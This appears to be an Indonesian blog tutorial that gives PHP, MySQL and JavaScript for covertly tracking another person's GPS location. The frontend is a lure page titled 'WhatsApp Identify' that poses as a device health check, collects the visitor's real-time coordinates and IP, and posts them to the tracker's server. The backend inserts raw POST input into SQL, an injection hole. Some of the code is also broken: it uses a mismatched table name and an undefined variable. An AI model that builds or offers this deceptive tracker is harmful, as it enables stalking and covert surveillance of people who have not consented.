close(x)

Membuat Tracking Lokasi GPS Orang Lain Menggunakan PHP, MYSQL, dan Javascript

melacak lokasi nomor hp seseorang,tracking, gps

Membuat Tracking Lokasi GPS Orang Lain Menggunakan PHP, MYSQL, dan Javascript

Tracking Lokasi GPS akhir - akhir ini banyak diperlukan baik untuk keperluan bisnis ataupun untuk keperluan pribadi. Bahkan cara melacak orang dengan nomor HP banyak dicari di search engine Google meskipun itu tidak mudah dan perlu menggunakan bahasa pemrograman tingkat advance seperti Python.

Cara Melacak GPS Orang?

Sementara cara melacak GPS itu bisa melalui WhatsApp share lokasi atau mengirimkan link tracking yang sudah dibuat menggunakan bahasa pemrograman tertentu.

Tracking GPS sendiri tidak akan berjalan selama tidak memberikan akses pada Aplikasi atau link yang diberikan orang lain yang tidak dikenal.

Baca juga Cara Melacak Chat Lokasi WhatsApp

Untuk membuat aplikasi tracking ini Anda perlu membuat sebuah website yang mendukung database, dan php untuk menampung data GPS. 

-Cara Daftar Website Hosting Gratis Support MySQL dan PHP

Source Code Tracking Lokasi Pakai PHP, MySQL, dan Javascipt

Untuk source code sendiri banyak kita dapatkan kali ini saya akan berbagai untuk temen - temen semua bagaimana membuat script tracking simpel dan mudah dipahami seperti berikut:

Database Tracking Lokasi Mysql

Buat database pada MySQL dengan schema table sebagai berikut:

--
-- Table structure for table `tracking`
--

CREATE TABLE `tracking` (
  `id` int(11) NOT NULL,
  `ip_address` varchar(100) NOT NULL,
  `maps` varchar(250) NOT NULL,
  `earth` varchar(250) NOT NULL,
  `created_at` datetime NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

Backend Tracking Lokasi PHP 7.0+

Buatlah file dengan posting.php pada tempat hosting yang sudah Anda buat dan copy script berikut:

<?php
/*
* copyright mampirklik.com
* youtube GatotID
*/
$conn=@mysqli_connect("localhost","user","password","db");
if(!$conn){
    die("Error koneksi");
}

$ip_address = $_POST["ip_address"];
$latlng = $_POST['latlng'];

$maps = "https://maps.google.com/maps?q=".$latlng."&ll=".$latlng."&z=20";
$earth = "https://earth.google.com/web/@".$latlng;

$sql = "INSERT INTO target(ip_address,maps,earth,created_at)
VALUE('".$ip_address."','".$maps."','".$earth."','".date('Y-m-d H:i:s')."')";
if(!mysqli_query($conn,$sql)){
    die("error insert");
}
mysqli_close($conn);
?>

Frontend Tracking HTML dan Javascript

Untuk frontend ini bisa Anda custome atau memberi gambar lucu agar bisa diklik untuk mendapatkan lokasi yang diinginkan. Buat file dengan nama index.php kemudian copy script berikut:

<?php
header("location:https://seeable-sequences.000webhostapp.com/admingue/index.php");

function get_ip() {
    $clientIP = '0.0.0.0';
   
    if (isset($_SERVER['HTTP_CLIENT_IP'])) {
        $clientIP = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        # when behind cloudflare
        $clientIP = $_SERVER['HTTP_CF_CONNECTING_IP'];
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $clientIP = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
        $clientIP = $_SERVER['HTTP_X_FORWARDED'];
    } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
        $clientIP = $_SERVER['HTTP_FORWARDED_FOR'];
    } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
        $clientIP = $_SERVER['HTTP_FORWARDED'];
    } elseif (isset($_SERVER['REMOTE_ADDR'])) {
        $clientIP = $_SERVER['REMOTE_ADDR'];
    }
   
    return $clientIP;
}
?>
<html>
<head>
    <title>WhatsApp Identify</title>
    <script>
        async function kirimData(ip_address,latlng){
              const formData = new FormData();
              formData.append("ip_address",ip_address);
              formData.append("latlng", latlng);
             
              const response = await fetch("https://namahosting/posting.php", {
                method: "POST",
                body: formData,
              });
              console.log(await response.json());
        }
       
        const options = {
          enableHighAccuracy: true,
          timeout: 5000,
          maximumAge: 0,
        };
       
        function success(pos) {
          const crd = pos.coords;
       
          console.log("Your current position is:");
          console.log(`Latitude : ${crd.latitude}`);
          console.log(`Longitude: ${crd.longitude}`);
          console.log(`More or less ${crd.accuracy} meters.`);
         
          kirimData('<?=get_ip()?>',`${crd.latitude},${crd.longitude}`);
         
           let text = document.querySelector('.success');
           tex.style.display = "block";
           text.textContent = "Your Device is in Healthy Condition";
        }
       
        function error(err) {
            if (err.code == err.PERMISSION_DENIED){
               let text = document.querySelector('.denied');
               tex.style.display = "block";
               text.textContent = "Please Enable Location Browser Check
Healthy Your Device!!";
            }else{
              console.log(err.message);
            }
        }
        if (navigator.geolocation) {
          navigator.geolocation.watchPosition(success, error, options); //Realtime
        } else {
            let text = document.querySelector('.denied');
            tex.style.display = "block";
            text.textContent = "Browser Not Supported Location,
Please Install Google Chrome!!";
        }
    </script>
</head>
<body>
    <div class="denied" style="border:1px solid red;padding:20px
20px;text-align:center;margin-top:20px;display:none;"></div>
    <div class="success" style="border:1px solid success;
padding:20px 20px;text-align:center;margin-top:20px;display:none;"></div>
</body>
</html>

Untuk membuat atau mendapatkan freehosting sobat bisa baca artikel sebelumnya cara membuat website di free hosting 00webhosting.com. Untuk lebih jelasnya bisa ditonton pada video berikut:

Jangan lupa share ke social media kalian agar bermanfaat dan berguna untuk semuanya.

Previous Post Next Post

نموذج الاتصال